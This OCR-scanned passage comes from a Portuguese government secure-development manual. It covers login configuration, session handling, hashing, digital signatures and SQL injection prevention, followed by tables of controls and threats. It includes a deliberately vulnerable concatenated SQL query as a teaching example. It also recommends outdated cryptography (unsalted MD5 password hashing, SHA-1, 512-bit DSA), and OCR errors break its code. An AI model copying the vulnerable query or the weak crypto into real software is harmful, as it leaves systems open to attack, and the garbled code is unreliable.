<login-config>
<auth-method>FORM</auth-method>
<realm-name>Restricted Files</realm-name>
<form-login-config>
<form-login-page>/gatekeeper.jsp</form-login-page>
<form-error-page>/tryagain.jsp</form-error-page>
</form-login-config>

</login-config>

Substituindo o trecho do <login-config> conforme o exemplo acima, aparecerd uma
pagina .jsp quando um usuario tentar acessar uma area restrita. O usuario devera
digitar seu nome e senha em um formulario HTML e, caso as credenciais sejam

invalidas, sera mostrada uma péagina .jsp uma nova tentativa de login.

No caso da autenticac@o via formulario, deve ser criada uma pégina para login e

uma pagina de erro. Vide exemplo da pagina de login a ser criada:

<form name="AuthForm" action="]_security_check" method="post">
<input type="text" name="j_username">
<input type="password" name="j_password">
<input type="submit" value="Submit">

</form>

Quanto a pagina de erro, essa devera apresentar a mensagem de que as

credenciais séo invalidas, e prover um link de volta para a pagina de login.
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Diretivas:
> Todas as senhas devem ser armazenadas em formato hash;
> Nao deve ser utilizada uma técnica de hash reversivel,
> A senha deve ser concatenada com um nimero randdmico (salt) antes da operacao de hash;
> O salt deve ser armazenado como texto normal na mesma tabela onde é armazenado o hash

da senha,;

Y

A operacao de hash deve ser realizada varias vezes em cima da senha;
» O sistema deve ser configurado para restringir o acesso via descritor de implantacéo

(web.xml);

2.3.3. Prevencao contra fixacao e roubo de sessdes

Autenticar um usuario sem antes invalidar qualquer identificador de sesséo existente

fornece a um atacante a oportunidade de roubar sessdes ja autenticadas.

Uma forma de um atacante explorar a vulnerabilidade de fixacdo de sesséo é
criando uma nova sessdo em uma aplicacdo web e registrando o identificador
associado a mesma. O atacante entdo forca a vitima a se autenticar no servidor
usando o mesmo identificador de sessdo, concedendo ao atacante o acesso a conta

do usuario através da sessao ativa.

Para mitigar esta vulnerabilidade, os identificadores de sessdo devem ser sempre

gerados novamente apos o login:

session.invalidate();
session=request.getSession(true);

Outra medida a ser adotada € a desabilitacdo da reescrita de URL, protegendo o
sistema contra roubos de sessdes. Também devem ser implementadas restricdes de

concorréncia de sessdes para usuarios.

No Tomcat, a opcao checkSSLSessionld deve ser habilitada no arquivo server.xm,
para forcar o servidor a validar o identificador de sesséo gerado pelo Tomcat com o

identificador da sessdo SSL. Desta forma, mesmo que o cookie com o identificador
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de sessdo seja copiado, esta sessdo ndo podera ser usada, pois ndo sera igual a
sessédo SSL.

A opcéao secureCookie também deve ser habilitada no arquivo server.xm, para que o
cookie de identificacdo da sessdo seja marcado como secure. Desta forma, o
browser do usuario somente devera transmiti-lo em conexdes SSL, garantindo assim

a sua confidencialidade.

Os identificadores de sessdo devem ser gerados aleatoriamente, gerando cookies
ndo sequenciais. I1sso pode ser feito através de geradores de sequéncias pseudo-

aleatérias, como o java.security.SecureRandom.

Diretivas:

Toda sessédo em aberto deve ser invalidada antes de uma nova autenticagdo de usuario;
Os identificadores de sessdo devem ser sempre gerados novamente apés o login;

Deve ser desabilitada a reescrita de URL;

Devem ser implementadas restricdes de concorréncia de sessdes para usuarios;

A opgéo checkSSLSessionld deve ser habilitada no arquivo server.xm do Tomcat;

YV V.V V VYV V

A opgédo secureCookie deve ser habilitada no arquivo server.xm do Tomcat.

2.3.4. Tratamento de erros

O desenvolvimento da aplicagdo deve prevenir o vazamento de informacdes.
Mensagens de erro geradas pelo sistema ou pelo servidor ndo devem ser
apresentadas na tela do usuario. Ao usuario, devem ser apresentadas apenas
mensagens de erro genéricas, tais como “Erro do sistema — Por favor, tente mais

tarde”.

Informacdes como caminhos de arquivos, linha onde ocorreu o erro, nome das
classes e dos métodos, entre outras, sdo consideradas privilegiadas. Por isso,

informagdes internas do sistema nunca devem estar ao alcance dos usuarios.

Todas as mensagens de erro devem ser registradas em log, pois podem ser

resultado de uma tentativa de ataque.
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Cdbdigos que podem gerar erros ou excecdes devem ser sempre colocados em um
bloco “try”, enquanto os cédigos que tratam as exce¢des devem estar sempre em

um bloco “catch”:

Signature clientSig = Signature.getinstance("DSA");
clientSig.initVerify(pubKey);
clientSig.update(mensagem.getBytes());

if (clientSig.verify(assinatura)) {
/IMensagem assinada corretamente
}else {

/IMensagem ndo pode ser validada

Diretivas:

Y

O desenvolvimento da aplicacdo deve prevenir o vazamento de informagdes;

A\

Mensagens de erro geradas pelo sistema ou pelo servidor ndo devem ser apresentadas ao
usuério;

Informag®es internas do sistema nunca devem estar ao alcance dos usuarios;

Todas as mensagens de erro geradas pelo sistema/servidor devem ser registradas em log;

Cddigos que podem gerar erros ou excegdes devem ser sempre colocados em um bloco “try”;

YV V VYV V

Cdédigos que tratam excegdes devem ser sempre colocados em um bloco “catch”;

2.3.5. Criptografia e Message digest

Devem ser utilizados algoritmos de criptografia para cifrar arquivos especificos
dentro do sistema, como arquivos de bancos de dados com informacdes de grupos
de usuarios e permissfes. Algoritmos de hash podem ser utilizados para garantir a

protecdo elevada dos dados.

Message digests, ou func¢des de hash, criam o equivalente a uma impresséao digital,
de tamanho fixo, de um texto ilimitado. Message Digests ndo podem ser decifrados

e, por este motivo, sdo extremamente Uteis para a seguranca de senhas.

Para efeitos de validacdo da senha, o cédigo hash precisa ser gerado novamente

para a senha digitada pelo usuario e comparado com o cédigo hash gravado no
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banco. Se ambos se igualarem, o acesso € liberado. A API Java implementa dois
algoritmos de Message Digest: o MD5 e o0 SHA-1.

Para a geracao de codigos criptograficos, € necessario:

1. Obter uma instancia do algoritmo a ser usado:

Para a obtencdo de uma instancia de um algoritmo de message digest pode ser

utilizado o método getinstance(), da classe MessageDigest.

MessageDigest md5 = MessageDigest.getinstance("MD5");
MessageDigest shal = MessageDigest.getinstance("SHA-1");

ApOGs a chamada a getinstance(), o objeto referenciado esta pronto para criptografar

seus dados através do algoritmo especificado.

2. Passar para o algoritmo a informacao que se deseja criptografar:

A instancia de um algoritmo é recebida pronta para o uso. Deve ser chamado entéao

o método update() para a passagem dos dados a serem criptografados.

/I[Faz o update do digest utilizando o byte especificado
/IEste método é util quando n&o se tem controle do tamanho da mensagem a ser criptografada

/l(por exemplo, vinda de um stream)

void update(byte input);
/[Exemplo

inti;

while ((i = inputStream.read()) !=-1) {
md5.update((byte)i);

Esta outra versao faz o update a partir de um array de bytes:

void update(byte[] input);
/[Exemplo

String str = "Elvis is live!!l";
shal.update(str.getBytes());

/I[Finalmente, ainda é possivel especificar uma por¢ao do array
void update(byte[] input, int offset, int len);
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A gualquer momento, o método reset() pode ser chamado para que o algoritmo

retorne ao estado original.

3. Realizar a criptografia:

Para gerar a chave criptografada, o método digest() deve ser chamado:

byte[] digest();
byte[] digest(byte[] input);
int digest(byte[] buf, int offset, int len) throws DigestException;

O primeiro método realiza a operacdo nos bytes que foram fornecidos até o

momento (através do método update()).

O segundo método realiza um update() final, utilizando o array de bytes fornecido, e

completa a operagéo.

O terceiro método armazena em buf o resultado do hashing. Offset e length

especificam o local, no array de destino, onde o hashing deve ser colocado.

Este método retorna a quantidade de bytes escrita em "buf". Apds a operacdo ser
concluida, o método digest() chama o método reset() para retornar o algoritmo ao

seu estado inicial.

O exemplo a seguir apresenta uma classe de utilitarios para criptografia. Essa
classe, chamada de CriptoUtils, possui dois métodos utilitarios que criam uma
representacdo hexadecimal do codigo hash gerado, para que possa ser facilmente
gravado em bancos de dados e transportado via HTTP. Estes métodos sdo o

byteArrayToHexString() e o hexStringToByteArray().

public final class CriptoUtils {
private static final String hexDigits = "0123456789abcdef";
[
* Realiza um digest em um array de bytes através do algoritmo especificado
* @param input - O array de bytes a ser criptografado
* @param algoritmo - O algoritmo a ser utilizado
* @return byte[] - O resultado da criptografia
* @throws NoSuchAlgorithmException - Caso o algoritmo fornecido nédo seja
* valido
*/
public static byte[] digest(byte[] input, String algoritmo)
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throws NoSuchAlgorithmException {

MessageDigest md = MessageDigest.getinstance(algoritmo);
md.reset();

return md.digest(input);

[
* Converte o array de bytes em uma representacéo hexadecimal.
* @param input - O array de bytes a ser convertido.
* @return Uma String com a representacao hexa do array
*/
public static String byteArrayToHexString(byte[] b) {
StringBuffer buf = new StringBuffer();

for (inti = 0; i < b.length; i++) {
int j = ((int) b[i]) & OXFF;
buf.append(hexDigits.charAt(j / 16));
buf.append(hexDigits.charAt(j % 16));

return buf.toString();

[x*

* Converte uma String hexa no array de bytes correspondente.
* @param hexa - A String hexa
* @return O vetor de bytes

* @throws lllegalArgumentException - Caso a String nao seja uma
* representacdo hexadecimal valida
*/
public static byte[] hexStringToByteArray(String hexa)
throws lllegalArgumentException {

/Iverifica se a String possui uma quantidade par de elementos
if (hexa.length() % 2 !=0) {

throw new lllegalArgumentException("String hexa invalida");

byte[] b = new byte[hexa.length() / 2];

for (inti = 0; i < hexa.length(); i+=2) {
b[i / 2] = (byte) ((hexDigits.indexOf(hexa.charAt(i)) << 4) |

(hexDigits.indexOf(hexa.charAt(i + 1))));
}

return b;
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O cadigo a seguir é um exemplo de como utilizar esta classe de utilitarios. A senha
digitada por um usuario deve ser comparada com a senha hash criada pelo

algoritmo md5, que esta gravada no banco.

?stmt = con.prepareStatement("select * from users where login = ?");
stmt.setString(1, user.getLogin());

ResultSet rs = stmt.executeQuery();

if (rs.next()) {
senhaNoBanco = rs.getString("senha");
}else {
throw new MinhaException("Usuario " + user.getLogin() + " ndo encontrado");

try {

byte[] b = CriptoUtils.digest(user.getSenha().getBytes(), "md5");
} catch (NoSuchAlgorithmException e) {

e.printStackTrace();

return false;

String senhaCriptografada = CriptoUtils.byteArrayToHexString(b);

if (senhaNoBanco.equalsignoreCase(senhaCriptografada )) {

return true;

}else {

return false;
}
Diretivas:

» Informac®es criticas devem ser criptografadas.
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2.3.6. Assinatura digital

A assinatura digital foi a solugéo adotada para garantir trés aspectos importantes em
uma transacgéo: autenticidade, integridade e nao-repudio de origem.

Assinaturas digitais sdo utilizadas para autenticar o remetente de uma informacao e
garantir gue a mesma é confiavel. Uma assinatura digital funciona de acordo com a

seguinte triade: a assinatura em si, uma chave publica e uma chave privada.

O remetente € o responsavel por gerar essa triade e fornecer a chave publica aos
destinatarios de suas mensagens. No momento do envio, 0 remetente gera uma

assinatura para o dado que deseja enviar, usando a chave privada.

O destinatario recebe a informacéo e a assinatura, e valida esta informacdo usando
sua chave publica. O sucesso da validacdo garante ao destinatario que a mensagem
foi enviada por um remetente confiavel, o qual possui a chave privada

correspondente.

A assinatura e a chave publica ndo revelam nada sobre a chave privada. No Java, a

classe responsavel por gerar as assinaturas digitais € chamada de Signature.

Objetos signature sdo criados por meio da chamada ao método da classe Signature:

static Signature getinstance(String algorithm)
/[Exemplo
Signature sig = Signature.getinstance("DSA");

E possivel gerar as chaves através da classe KeyPairGenerator. Assim como a
classe Signature, a KeyPairGenerator necessita de um algoritmo para gerar as

chaves.

static KeyPairGenerator getlnstance(String algorithm)
/[Exemplo

KeyPairGenerator kpg = KeyPairGenerator.getinstance("DSA");

As chaves e a assinatura devem ser geradas através do mesmo algoritmo de
criptografia. Apos a obtencdo de um KeyPairGenerator, 0 mesmo deve ser

inicializado através do método initialize().
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void initialize(int keysize, SecureRandom random)

Este método requer dois pardmetros: um tamanho de chave e um numero aleatorio,
que é fornecido pela classe SecureRandom. O tamanho da chave deve ser
compativel com o algoritmo usado. No caso do DSA, pode ser usado um tamanho
de 512.

Apés inicializada, a KeyPairGenerator esta pronta para gerar as chaves publica e

privada:

KeyPairGenerator keyGen = KeyPairGenerator.getinstance("DSA");
SecureRandom secRan = new SecureRandom();
keyGen.initialize(512, secRan);

KeyPair keyP = keyGen.generateKeyPair();

PublicKey pubKey = keyP.getPublic();

PrivateKey priKey = keyP.getPrivate();

Com a posse da chave privada, é possivel utiliza-la para inicializar o objeto

signature:

sig.initSign(prikey);

Agora, o método update() pode ser utilizado para passar ao algoritmo os dados a
serem criptografados. Apés o dado ser fornecido, o método sign deve ser chamado

para geracao da assinatura.

String mensagem = "Elvis is Live!ll";
/IGerar assinatura
sign.update(mensagem.getBytes());

byte[] assinatura = sign.sign();

No exemplo acima, o método sign reseta o status do algoritmo. Terminam assim as
responsabilidades do remetente, que agora precisa somente fornecer a chave

publica juntamente com o dado a ser enviado e a assinatura correspondente.
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O destinatério devera receber, juntamente com os dados, a assinatura digital e a
chave publica. A assinatura podera entdo ser validada junto ao dado recebido,

utilizando a chave publica.

Signature clientSig = Signature.getinstance("DSA");
clientSig.initVerify(pubKey);
clientSig.update(mensagem.getBytes());
if (clientSig.verify(assinatura)) {

/IMensagem assinada corretamente
}else {

/IMensagem nao pode ser validada

Assinaturas digitais podem ser implementadas com o uso do JCA (Arquitetura de
Criptografia em Java), um framework para acesso e desenvolvimento de

funcionalidades criptograficas na plataforma Java.

Duas premissas devem ser consideradas durante a implementacdo de assinaturas

digitais:

1. As mensagens devem ser assinadas e trocadas para que as partes
conhecam as chaves publicas mutuamente

2. Com o conhecimento das chaves publicas, as mensagens podem ser
criptografadas e, somente os destinatarios poderdo abrir seu conteudo, por
portarem a chave privada correspondente;

3. O hash da mensagem deve ser criptografado (funcé&o assinatura), em vez de

assinar a mensagem inteira.

Algoritmos de criptografia assimétrica, como o0 RSA, sdo cerca de mil vezes mais
lentos do que os de criptografia simétrica, como o AES. Devido a isso, para alcancar
uma melhor performance, a mensagem atual a ser transmitida deve ser
criptografada usando um algoritmo simétrico com chave de sessédo, que sera cifrada

usando a chave publica do destinatéario.

Para que esse controle seja efetivo, devem ser utilizados certificados digitais para

garantir que a chave publica realmente pertence a pessoa que assinou a

mensagem.
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O certificado deve ser assinado por uma autoridade -certificadora e enviado

juntamente com a mensagem.

Diretivas:

» As mensagens devem ser assinadas digitalmente;

» As mensagens devem ser criptografadas através de algoritmos simétricos com chave de
sesséo;

» Devem ser utilizados certificados digitais;

» O certificado deve ser assinado por uma autoridade certificadora.

2.3.7. Prevencao contra SQL Injection

Uma das vulnerabilidades mais amplamente exploradas e perigosas para um
sistema é a injecdo de comandos SQL. O cédigo a seguir, usado para executar uma
funcdo de login, ilustra esta vulnerabilidade através da aceitacdo de entradas de

usuarios sem a adequada validacéo.

String query = "SELECT account_balance FROM user_data WHERE user_name ="
+ request.getParameter(“"customerName");
try {
Statement statement = connection.createStatement( ... );

ResultSet results = statement.executeQuery( query );

O exemplo de codigo apresentado é inseguro, pois permite que um atacante injete

um cédigo dentro da consulta que sera realizada no banco de dados.

Para prevenir ataques de injecdo de SQL, todas as consultas devem ser
parametrizadas. As consultas parametrizadas forcam o desenvolvedor a definir
previamente todo o cédigo SQL, para depois entdo passar cada parametro para a
consulta. Desta forma, o banco de dados pode distinguir cédigos e dados:

String custname = request.getParameter(“"customerName"); // This should REALLY be validated too
/I perform input validation to detect attacks

String query = "SELECT account_balance FROM user_data WHERE user_name = ? ;
PreparedStatement pstmt = connection.prepareStatement( query );

pstmt.setString( 1, custname);

ResultSet results = pstmt.executeQuery( );
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Devem ser utilizadas variaveis de vinculacdo, como no exemplo acima, para que,
além de prevenir ataques de injecdo de SQL, seja melhorada também a

performance do sistema.

A concatenacdo de strings nunca deve ser usada para a criacdo de consultas SQL

dinamicas.

Diretivas:

» Todas as consultas SQL devem ser parametrizadas;
> Devem ser utilizadas variaveis de vinculagdo em consultas SQL;

> A concatenacao de strings nunca deve ser usada para a criagdo de consultas SQL dinamicas.

2.3.8. Assinatura de cédigo em Java

Os cadigos do sistema devem ser assinados digitalmente, de forma que somente o

contelido assinado seja executado pelo sistema, garantindo assim sua integridade.

Com a assinatura de codigo, o funcionamento do sistema é baseado em confianga,

e qualquer alteracéo indevida impede o uso do mesmo.

O arquivo “jar” deve ser assinado usando a chave privada, e enviado juntamente

com a chave publica e o certificado digital.
A assinatura do codigo deve ser sempre verificada antes da execu¢do do mesmo.

Exemplos de como assinar codigos digitalmente podem ser encontrados no seguinte
enderego:

http://java.sun.com/docs/books/tutorial/security/toolsign/signer.html

Diretivas:

» Os cbdigos do sistema devem ser assinados digitalmente;

» A assinatura do cédigo deve ser sempre verificada antes da execu¢do do mesmo.
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2.4. Controles Técnicos

Cadigo Categoria Controle Ameacas enderecadas

C | 1 | Posturade defesa Manter as informacgdes protegidas T-1, T-2, T-12

C | 2 | Otimizagdo de recursos Consumir o minimo de recursos do sistema T-10

C | 3 | Otimizagdo de recursos Consumir o minimo de tempo do processador T-10

C | 4 | Otimizacéo de recursos Alocar a menor quantidade de meméria possivel T-10

C | 5 | Otimizagdo de recursos Usar o minimo de espago em disco possivel T-10

C | 6 |Otimizagdo de recursos Utilizar a rede de forma econémica e racional T-1, T-10

C | 7 | Monitoragéo Monitorar a utilizagao dos recursos T-1, T-10

C | 8 | Monitoragéo Inserir temporizadores de execugéo T-10
N&o apresentar os dados de tempo de execugao

C | 9 | Posturade defesa - T-1, T-3, T-7, T-12
na tela do usuario
Desenhar a estrutura do sistema com foco em

C | 10 | Postura de defesa o T-2, T-3, T-5, T-7
usuérios ilegitimos

) . L i T-3, T-4,T-5, T-6, T-7, T-8, T-9,

C | 11 | Filtro de dados Filtrar todas as variaveis de entrada do sistema 10

C | 12 | Validagdo de inputs Checar a consisténcia dos dados no servidor T-3, T-5, T-6, T-7, T-8

C | 13 | Tratamento de erros Manipular as excec¢des geradas pelo sistema T-1, T-3, T-7, T-12

) Monitorar logs gerados pelo sistema e pelos

C | 14 | Monitoragéo ) T-1,T-2,T-3, T-5, T-7, T-9, T-10
servidores

C | 15 | Controle de acesso Implementar limitadores de acesso ao sistema T-2,T-3, T-7, T-13, T-14
Dados de login devem ser postados sobre uma

C | 16 | Controle de acesso T-3, T-4, T-5, T-7
conexao SSL

C | 17 | Controle de acesso A péagina de login deve ser do tipo HTTPS T-3, T-4, T-5, T-6
Mensagens de alerta ou de erros SSL ndo devem

C | 18 | Tratamento de erros . T-3,T-4,T-5, T-6
ser apresentadas ao usuario
A conexdo deve ser negada caso um usuario tente

C | 19 | Controle de acesso B . . T-3,T-4,T-5,T-6
acessar uma versao HTTP da péagina de login

C | 20 | Validagdo de inputs Aplicar CAPTCHAs aos formularios do sistema T-11, T-13, T-14
O tamanho das senhas deve ser configuravel pelo

C | 21 | Controle de acesso o . T-2,T-12, T-13, T-14
administrador de seguranca do sistema
As senhas devem seguir o padrédo definido pela

C | 22 | Controle de acesso . T-2,T-12,T-13,T-14
politica institucional
Aplicagdes altamente criticas devem utilizar fator

C | 23 | Controle de acesso " L T-2,T-12,T-13, T-14
multiplo de autenticagéo

5 Deve ser criado um servidor SSL para forcar a

C | 24 | Conexao segura T-4,T-5, T-7

seguranca
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Todos os clientes devem ser autenticados através

25 | Controle de acesso - T-5, T-7, T-14
de seus certificados
5 Todo usuério deve ser forcado a utilizar uma
26 | Conexéo segura 5 T-3, T-4, T-5, T-7
conexao segura
Os identificadores de sess@o devem ser sempre
27 | Conexao segura transmitidos em canais seguros, com a utilizagéo T-4,T-5
do protocolo SSL
Os identificadores de sessédo SSL devem ser
28 | Controle de acesso verificados em conjunto com os identificadores da T-4, T-5
sessao do usuério
Deve ser definido um periodo de validade e um
29 | Controle de acesso . o T-4,T-5
tempo méaximo de inatividade para as sessdes
Deve ser implementado um mecanismo para
30 | Controle de acesso . T-4,T-5
cancelamento de sesses (logout)
Os identificadores de sessdo nunca devem ser
31 | Postura de defesa ) T-1, T-3, T-4, T-5, T-7
incluidos na URL
32 | Controle de acesso Devem ser usados cookies ndo-persistentes T-4, T-5
) As extensdes de arquivos com permissao para
33 | Controle de arquivos o T-3, T-9
upload devem ser limitadas
. Todos os uploads devem ser armazenados fora da
34 | Controle de arquivos o . T-3, T-9
pasta principal do sistema
. L. . T-3, T-4,T-5,T-6, T-7, T-8, T-9,
35 | Filtro de dados Todas as entradas de usuarios devem ser filtradas 11
. O sistema néo deve executar scripts provenientes
36 | Controle de execucéo ) T-9
de servidores remotos
_ O sistema deve escapar de todos os comandos T-3, T-4, T-5, T-6, T-7, T-8, T-9,
37 | Filtro de dados .
Shell e caracteres especiais T-11
) . Os logs do servidor devem ser monitorados
38 | Monitoragéo T-3, T-5, T-7, T-9, T-10
constantemente
Informacgdes confidenciais devem ser armazenadas
39 | Postura de defesa ) T-1, T-3, T-7, T-12
apenas em arquivos .php
Informacgdes relevantes ndo devem ser
40 | Postura de defesa . T-1, T-3, T-7, T-12
armazenadas no diretério de trabalho
) ) Variaveis devem ser sempre inicializadas com
41 | Validagdo de inputs T-3, T-7
valor falso
42 | Validagdo de inputs Manter a diretriz register_globals = Off T-3, T-7, T-8
43 | Validacéo de inputs Sempre registrar as variaveis T-3, T-7, T-8
Manter a diretriz display_errors = Off no servidor de
44 | Postura de defesa . T-1, T-12
producéo
) . Manter a diretriz log_errors = On no servidor de
45 | Monitoragéo . T-1, T-10
producgéo
) Manter a diretriz error_reporting = E_ALL |
46 | Monitoragao T-1, T-10
E_STRICT
Somente o servidor web e o administrador de
47 | Controle de acesso seguranca do sistema devem ter permissao para T-1, T-10

ler e escrever o arquivo de log de erros
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48 | Postura de defesa Manter a diretriz expose_php = Off T-1, T-3, T-12
Em servidores compartilhados, os valores das
49 | Postura de defesa diretrizes devem ser definidos através da fungdo T-1, T-3, T-7, T-8, T-10, T-12
ini_set() ou de instru¢gdes em um arquivo .htaccess
) E necessério atribuir seguranca aos arquivos
50 | Controle de arquivos - . T-1, T-12
.htaccess utilizados para definir diretrizes
Todas as variaveis externas devem ter suas
. . . . T-3, T-4,T-5,T-6, T-7, T-8, T-9,
51 | Validagé&o de inputs propriedades verificadas antes de serem 11
processadas
. . . . T-3, T-4,T-5, T-6, T-7, T-8, T-9,
52 | Validagé&o de inputs Toda variavel recebida deve ser testada 11
T-3, T-4, T-5, T-6, T-7, T-8, T-9,
53 | Filtro de dados Todas as variaveis recebidas devem ser filtradas 111
L ) Todas as variaveis esperadas devem ser T-3, T-4, T-5, T-6, T-7, T-8, T-9,
54 | Validagé&o de inputs o ,
explicitamente listadas em um vetor T-11
L ) Registrar e tratar com expressoes regulares as T-3,T-4,T-5,T-6, T-7, T-8, T-9,
55 | Validacéo de inputs o ) -
variaveis recebidas de formuléarios T-11
) Utilizar a fungéo htmlspecialchars(), ou similar, na T-3, T-4, T-5, T-6, T-7, T-8, T-9,
56 | Filtro de dados )
estrutura de filtros T-11
. Armazenar arquivos recebidos em diretérios
57 | Controle de arquivos - } ) T-3, T-9
temporarios até que sejam testados
58 | Controle de arquivos Verificar a extensao do arquivo T-3, T-9
59 | Controle de arquivos Verificar a veracidade do tipo do arquivo T-3, T-9
60 | Controle de arquivos Escanear o arquivo com softwares antivirus T-9
61 | Controle de arquivos Verificar a integridade do arquivo recebido T-9
Todo codigo deve ser delimitado pelas tags de
62 | Postura de defesa T-1, T-3, T-7, T-9
abertura e fechamento do PHP
Deve ser adotada a politica de invisibilidade da
63 | Postura de defesa ) T-1, T-3, T-7, T-9
extensédo dos arquivos na URL
) A extensé&o dos arquivos referenciados nos links
64 | Controle de arquivos N ) T-1, T-3, T-7, T-9
deve ser definida previamente
65 | Validagédo de inputs Deve ser implementada a técnica de White list T-3, T-7, T-9
) As eventuais tentativas de ataque devem ser
66 | Monitoracéo ) T-3, T4, T-5,T-6, T-7, T-9, T-11
registradas
) ) O uso de sessdes deve estar sempre associado a
67 | Criptografia e hash . . T-1, T-5
criptografia
A diretriz session.use_only_cookies deve ser
68 | Controle de acesso ) ) ; . o T-1, T-5
ativada no arquivo de configuragéo php.ini
Todas as informagdes confidenciais devem ser
69 | Criptografia e hash criptografadas antes de trafegarem ou serem T-1

armazenadas no banco de dados
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O algoritmo de criptografia deve ser combinado

70 | Criptografia e hash ) ) T-1
com uma senha de criptografia
) ) Toda variavel utilizada na URL deve ter ser
71 | Criptografia e hash . ) T-1, T-3, T-5
conteddo criptografado
Os nomes das variaveis usadas nos formularios
72 | Validagao de inputs HTML ndo devem ser iguais aos nomes usados T-3, T-7, T-11

nas tabelas do banco de dados

73

Filtro de dados

Todas as variaveis devem ser filtradas

T-3,T-4,T-6, T-7, T-8, T-9, T-11

74

Validag&o de inputs

Todo dado recebido pelo sistema deve ser

validado

T-3, T-4, T-6, T-7, T-8, T-9, T-11

75

Validag&o de inputs

Expressdes regulares devem ser utilizadas para

validacéo de entradas de dados

T-3, T-4,T-6, T-7, T-8, T-9, T-11

Todas as senhas devem ser armazenadas em

76 | Criptografia e hash T-1
formato hash
) . N&o deve ser utilizada uma técnica de hash
77 | Criptografia e hash . T-1
reversivel
. ) A senha deve ser concatenada com um ndmero
78 | Criptografia e hash . . T-1,T-14
randémico (salt) antes da operagado de hash
O salt deve ser armazenado como texto normal na
79 | Criptografia e hash mesma tabela onde é armazenado o hash da T-1
senha
. . A operacéo de hash deve ser realizada varias
80 | Criptografia e hash ) T-1
vezes em cima da senha
O sistema deve ser configurado para restringir o
81 | Controle de acesso ) . . . T-1, T-3, T-9
acesso via descritor de implantacdo (web.xml)
Toda sessé@o em aberto deve ser invalidada antes
82 | Controle de acesso ] . T-4,T-5
de uma nova autenticagdo de usuario
Os identificadores de sess&o devem ser sempre
83 | Controle de acesso T-1, T-4, T-5

gerados novamente apds o login

84

Postura de defesa

Deve ser desabilitada a reescrita de URL

T-3, T-5, T-7, T-9

Devem ser implementadas restricdes de

85 | Controle de acesso o . » T-4,T-5
concorréncia de sessdes para Usuarios
A opcéao checkSSLSessionld deve ser habilitada

86 | Controle de acesso . T-4,T-5
no arquivo server.xm do Tomcat
A opcéao secureCookie deve ser habilitada no

87 | Controle de acesso ) T-1, T-4, T-5
arquivo server.xm do Tomcat
O desenvolvimento da aplica¢@o deve prevenir o

88 | Postura de defesa T-1

vazamento de informagbes

89

Tratamento de erros

Mensagens de erro geradas pelo sistema ou pelo

servidor ndo devem ser apresentadas ao usuario

T-1,7-3, T-7, T-12

90

Postura de defesa

Informagdes internas do sistema nunca devem

estar ao alcance dos usuarios

T-1

SEPLAG - Padréo Seguro de Desenvolvimento

Manual de Desenvolvimento Seguro




Secretaria de Estado de Planejamento e Gestédo de Minas Gerais

Manual de Desenvolvimento e Aquisi¢cdo Sistemas Seguros

Todas as mensagens de erro geradas pelo T-1,T-3,T-4,T-5, T-6, T-7, T-9,
91 | Tratamento de erros ) . .
sistema/servidor devem ser registradas em log T-10
Cadigos que podem gerar erros ou excegdes
92 | Tratamento de erros T-1, T-12
devem ser sempre colocados em um bloco “try”
Cadigos que tratam excegfes devem ser sempre
93 | Tratamento de erros T-1, T-12
colocados em um bloco “catch”
94 | Criptografia e hash Informacdes criticas devem ser criptografadas T-1
95 | Assinatura digital As mensagens devem ser assinadas digitalmente T-3, T-9
) ) As mensagens devem ser criptografadas através
96 | Criptografia e hash . o . T-1
de algoritmos simétricos com chave de sesséo
97 | Assinatura digital Devem ser utilizados certificados digitais T-3, T-9
) o O certificado deve ser assinado por uma
98 | Assinatura digital ) = A3, T-9
autoridade certificadora
Todas as consultas SQL devem ser
99 | Controle de execugao ) T-1, T-7
parametrizadas
Devem ser utilizadas variaveis de vinculagdo em
100 | Controle de execugéo T-1, T-7
consultas SQL
5 A concatenacao de strings nunca deve ser usada
101 | Controle de execugéo L o T-1, T-7
para a criagdo de consultas SQL dinamicas
) = Os cadigos do sistema devem ser assinados
102 | Assinatura digital o T-3, T-9
digitalmente
) = A assinatura do codigo deve ser sempre verificada
103 | Assinatura digital . T-3, T-9
antes da execucéo do mesmo

Tabela 2 — Controles técnicos de programagédo segura.
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3. Protecéo de Dados

O desafio para a seguranca e gerenciamento do banco de dados é reter o controle
sobre os dados da empresa e garantir que as regras de negdcio sejam devidamente
aplicadas quando as informacdes sao acessadas. A primeira linha de prevencéo se
baseia no controle de acesso por credenciais (logins), onde a autenticacdo € o
processo determinante para ceder o acesso as informacdes. Para tornar um banco
de dados seguro, deve-se identificar as ameacas e combaté-las de acordo com a
andlise dos riscos.
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3.1.Ameagcas

Cadigo Titulo Descricao C|D| I

Agregar informacdes de diversas fontes com diferentes
classificacdes e tornar o resultado um documento néo-
confidencial. Assim a relevancia das informacdes

A | 1 | Agregacdo combinadas pode ser menor que a confidencialidade de X
cada informagdo de maneira separada. Esse tipo de
manipulacéo pode expor involuntariamente informacdes

confidenciais.

Quando o usuario tenta burlar os controles da aplicacéo de
A | 2 | Ataque por Bypass ] . X
banco de dados para acessar uma informagéo.

As visdes do banco de dados limitam as informacdes a
Ataque de Visdo de Banco | serem exibidas para os usuéarios. Usuarios mal
de Dados intencionados podem alterar essas visdes para mostrar

informacgdes restritas.

o Quando ac¢des ou processos ocorrem ao mesmo tempo,
A | 4 | Concorréncia o X
podendo gerar um bloqueio mutuo.

Quando a integridade do dado é alterada por entrada
A | 5 | Contaminagdo de Dados errada de dados ou processo errdbneo. Pode ocorrer em X
arquivo, relatério ou base de dados.

Quando dois processos de usuario sao bloqueados em
A | 6 | Deadlocking objetos separados e um desses processos esta tentando X

acessar o outro objeto que possui um processo bloqueado.

A | 7 | Negacao de Servico Tornar o sistema indisponivel por meios fisicos ou logicos. X

Modificagdo Imprépria da Alteracgéo intencional ou acidental de informacgdes da base
Informacgéo de dados.

Quando um usuario deduz uma informagéo confidencial de
A | 9 | Inferéncia informacdes disponiveis, sem precisar de acesso nao X

autorizado.

. Ocorre quando um usuario intercepta dados que trafegam
A | 10| Interceptacdo de Dados ] B X
pela rede, capturando informacdes.

Ataque por Consulta Quando um usuério consegue, através de ferramentas de

(Query) consultas, ganhar acesso indevido.
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Quando um usudario consegue, através de cddigo malicioso,

alterar a informagé&o ou a conex&o, entre o tempo de X | X

verificacdo e o tempo de uso.

13

Seguranca Web

Quando o banco de dados permite o acesso por meio de
tecnologias Web, uma falha na integragdo pode expor os X |[x |x

SGBD.

14

Acesso nado Autorizado

Quando um usuario ndo autorizado consegue 0 acesso a

informacgdes restritas, de forma acidental ou intencional, X

fisica ou logicamente.

3.2.Controles Gerenciais

Tabela 3 - Ameagcas a bases de dados.

o . o Ameacas
Caodigo Categoria Descricao
enderecadas
Documentar formalmente os procedimentos
. R . A-1, A-3, A-9, A-13,
